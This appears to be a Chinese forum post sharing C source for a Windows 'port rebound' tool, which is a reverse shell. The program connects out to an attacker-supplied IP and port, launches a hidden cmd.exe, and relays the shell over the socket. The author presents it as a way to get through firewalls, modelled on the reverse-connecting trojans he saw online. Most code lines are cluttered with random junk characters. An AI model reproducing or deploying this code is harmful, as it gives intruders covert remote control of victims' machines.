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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [UHDN:y  
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/* ============================== =NzA2td  
Rebound port in Windows NT b%<i&YY#  
By wind,2006/7 7=ZB?@bU~  
===============================*/ NwdA@"YQ|  
#include Py8<db%  
#include |0mVK`  
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#pragma comment(lib,"wsock32.lib") 5E/z.5 q  
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void OutputShell(); l&4TfzkY  
SOCKET sClient; rE bC_<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @M-+-6+  
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void main(int argc,char **argv) ~a5p_xP  
{ [EJ[Gg0m  
WSADATA stWsaData; Kj_hCSvf3e  
int nRet; _azg 0.)  
SOCKADDR_IN stSaiClient,stSaiServer; l*]*.?m/5  
+BRmqJ3  
if(argc != 3) HX{O@  
{ >]k'3|vV  
printf("Useage:\n\rRebound DestIP DestPort\n"); #is:6Z,OEU  
return; ( {H5k''  
} Rt<8 &.m4  
t "J"G@1)  
WSAStartup(MAKEWORD(2,2),&stWsaData); zZ|Si  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o~F @1  
q@p-)+D;  
stSaiClient.sin_family = AF_INET; ! \H!9FR  
stSaiClient.sin_port = htons(0); _e=R[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tw]RH(g+#  
cRX0i;zag  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |.Bb Pfe8f  
{ oO|zRK1;/  
printf("Bind Socket Failed!\n"); gaC^<\J  
return; u><gmp&  
} ,iU ]zN//  
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stSaiServer.sin_family = AF_INET; _Va!Ky =]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S"UFT-N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yk9|H)-z  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b$nXljV4?  
{ OCF\*Sx  
printf("Connect Error!"); |Q^Z I  
return; 3Bz0B a  
} RV|: mI  
OutputShell(); s!09Pxc  
} ;PJWd|3  
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void OutputShell() 4?X#d)L(  
{ . oUaq|O  
char szBuff[1024]; *tjE#TW  
SECURITY_ATTRIBUTES stSecurityAttributes; 2i4FIS|z0  
OSVERSIONINFO stOsversionInfo; Xz0jjO,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0CxQ@~ttl  
STARTUPINFO stStartupInfo; A?3hNvfx  
char *szShell; lkV% k1w  
PROCESS_INFORMATION stProcessInformation; y5.Z<Y  
unsigned long lBytesRead; G|yX9C]R   
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3mgFouX2x,  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8h~v%aZ1  
stSecurityAttributes.lpSecurityDescriptor = 0; j[yGfDb  
stSecurityAttributes.bInheritHandle = TRUE; A8hj"V47  
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#"6(Q2| l  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EW1 L!3K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &3>ki0L  
-3X#$k8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =eSG7QfS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wYhWRgP  
stStartupInfo.wShowWindow = SW_HIDE; y>u+.z a|  
stStartupInfo.hStdInput = hReadPipe; cU5x8[2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~ @Ib:M  
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GetVersionEx(&stOsversionInfo); xmTa$tR+  
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switch(stOsversionInfo.dwPlatformId) Ywt_h;:  
{ 8UoMOeI3  
case 1: 0X-u'=Bs  
szShell = "command.com"; \w^iSK-  
break; t-lWvxXe  
default: %$I\\q q>{  
szShell = "cmd.exe"; dx[<@f2c  
break; (hd^  
} q~r )B}  
\CB{Ut+s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LS4c|Dv  
oDx*}[/  
send(sClient,szMsg,77,0); +GgWd=X.Y  
while(1) ji`N1e,l  
{ g||{Qmr=1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SMk{159q&  
if(lBytesRead) ?b:J6(-  
{ {Zjnf6d]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |v}"UW(y  
send(sClient,szBuff,lBytesRead,0); ,m!j2H}8  
} R* E/E  
else H]Q Z4(  
{ 9IMtqL&  
lBytesRead=recv(sClient,szBuff,1024,0); 0kpRvdEr-  
if(lBytesRead<=0) break; ?)7uwJsH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); RP7e)?5$s  
} /+P 4cHv]F  
} @h X  
vyERt^z  
return; Q<d\K(<3?:  
}
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